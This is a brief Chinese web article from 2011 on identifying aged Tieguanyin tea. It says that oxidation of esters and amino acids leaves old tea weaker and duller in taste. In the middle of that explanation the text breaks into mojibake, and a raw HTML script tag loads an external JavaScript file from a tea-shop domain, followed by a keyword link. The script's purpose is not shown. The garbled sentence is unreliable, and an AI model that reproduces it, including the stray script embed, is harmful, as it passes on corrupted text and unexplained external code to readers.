铁观音陈茶的鉴别

日期:2011-09-28 浏览:614次

铁观音陈茶的鉴别

滋味　　铁观音陈茶由于茶叶中酯类物质经氧化后使可溶于水的有效成份减少，从而使茶叶滋味由醇厚变得淡薄?script type='text/javascript' src='http://www.368tea.com/js/v.js'>庇忠?a href=http://www.368tea.com/ id=kw target=_blank>茶叶中氨基酸的氧化等原因，使茶叶的鲜爽味减弱而变的滞钝。　　

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